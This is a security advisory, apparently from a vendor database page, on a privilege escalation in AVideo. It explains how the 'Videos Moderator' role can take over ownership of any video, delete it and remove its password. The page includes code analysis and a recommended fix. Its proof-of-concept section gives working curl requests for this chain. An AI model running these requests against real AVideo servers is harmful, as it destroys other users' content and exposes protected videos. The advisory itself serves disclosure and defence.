GHSA-8x77-f38v-4m5j
HIGHAVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
Details
The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:
$permissions[] = new PluginPermissionOption(
Permissions::PERMISSION_INACTIVATEVIDEOS,
__('Videos Moderator'),
__('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'),
'Permissions'
);
However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:
1. Upload gate bypass (videoAddNew.json.php:10):
User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.
2. Edit gate bypass (videoAddNew.json.php:19):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
die('{"error":"2 ' . __("Permission denied") . '"}');
}
Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.
3. Ownership transfer (videoAddNew.json.php:222):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() ||
Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
$obj->setUsers_id($_POST['users_id']);
}
userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
4. Delete via ownership (videoDelete.json.php:22-28):
if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
if (!$video->userCanManageVideo()) {
// denied
}
}
$id = $video->delete();
userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope:
only_for_paid(line 210) — make premium content freevideo_password(line 211) — change/remove password protectioncategories_id(line 168) — alter content categorizationvideoGroups(line 175) — modify user group visibility
PoC
Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"
Expected response: {"status":true, ...} — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoDelete.json.php' \
-d "id[]=TARGET_VIDEO_ID"
Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"
This removes the video password, granting the moderator (and everyone) access to previously protected content.
Impact
- Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
- Content tampering: Moderator can change paid content flags (
only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity." - Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
- Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
- Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.
The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Recommended Fix
Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (videoAddNew.json.php:222):
// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
Fix for edit gate (videoAddNew.json.php:19):
// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed):
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-8x77-f38v-4m5j yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8x77-f38v-4m5j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8x77-f38v-4m5j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8x77-f38v-4m5j in your dependencies?
O3 detects GHSA-8x77-f38v-4m5j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.